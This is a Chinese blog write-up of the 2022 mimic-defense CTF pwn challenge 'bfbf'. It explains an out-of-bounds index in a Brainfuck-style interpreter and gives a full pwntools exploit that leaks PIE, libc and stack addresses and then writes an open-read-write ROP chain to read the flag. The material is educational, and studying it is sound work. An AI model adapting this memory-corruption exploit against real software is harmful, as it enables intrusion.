2022拟态防御pwn(bfbf)

bfbf

沙箱

 

主要函数

程序主要有两个关键函数,一个是对输入的字符进行对应转换,另一个是比较转换后的值跳入不同的选项执行不同操作。一个函数命名change,另一个为run。

change关键函数

run关键函数

 

分析: 

程序主要漏洞在于run函数中没有对v3数组进行越界检查,所以我们可以通过run函数中的case 5泄露libc,case 6写入rop链进行orw读取flag。

exp:

from pwn import *
context.log_level='debug'
context.arch='amd64'
r=process('./pwn')
elf=ELF('./pwn')
libc=elf.libc

payload1=p8(0x3e)*0x218+(p8(0x2e)+p8(0x3e))*56+p8(0x3c)*56+(p8(0x2c)+p8(0x3e))*167
#gdb.attach(r)
r.sendlineafter('BF_PARSER>>',payload1)
#pause()
r.recvuntil('\n')
piebase=u64(r.recv(6).ljust(8,'\x00'))-0x1955
print("piebase->",hex(piebase))
#gdb.attach(r)
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-243-libc.sym['__libc_start_main']
print("libcbase->",hex(libcbase))
r.recvuntil('\x7f')
flagaddr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x70
print("flagaddr->",hex(flagaddr))

pop_rax=libcbase+0x0000000000036174
pop_rdi=libcbase+0x0000000000023b6a
pop_rsi=libcbase+0x000000000002601f
pop_rdx=libcbase+0x0000000000142c92
syscall=libcbase+0x00000000000E40C9
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
close=libcbase+libc.sym['close']

payload2=p64(pop_rdi)+p64(0)+p64(close)+p64(pop_rdi)+p64(flagaddr)+p64(pop_rsi)+p64(0)+p64(pop_rax)
payload2+=p64(2)+p64(syscall)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flagaddr)+p64(pop_rdx)+p64(0x50)
payload2+=p64(read)+p64(pop_rdi)+p64(1)+p64(write)+'flag\x00\x00'
print(len(payload2))
#gdb.attach(r)
r.sendline(payload2)
r.interactive()

 对payload1分析:

payload1=p8(0x3e)*0x218+(p8(0x2e)+p8(0x3e))*56+p8(0x3c)*56+(p8(0x2c)+p8(0x3e))*167

1. p8(0x3e)*0x218在run中相当于i=0x218,正好到返回地址。

2.(p8(0x2e)+p8(0x3e))*56在run中相当于读取rbp下边56个字节。([write]+[++i])

可以看到有程序地址,libc地址,栈地址。

3.p8(0x3c)*56在run中相当于[--i]*56,此时数组仍在返回地址处,接下来就可以写rop链了。

4.(p8(0x2c)+p8(0x3e))*167在run中相当于([getchar]+[++i]),读取167个字节,这里通过payload长度得出

最后就是写入的flag字符串所在位置,上边我们泄露的栈地址后三位是0xab8,而我们开始写rop是从rbp下边一行(0x9a8)开始,我们的rop长度(除了最后的'flag')一共是0xa0。

计算式:0xab8-x=0x9a8+0xa0

得到x=0x70。

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值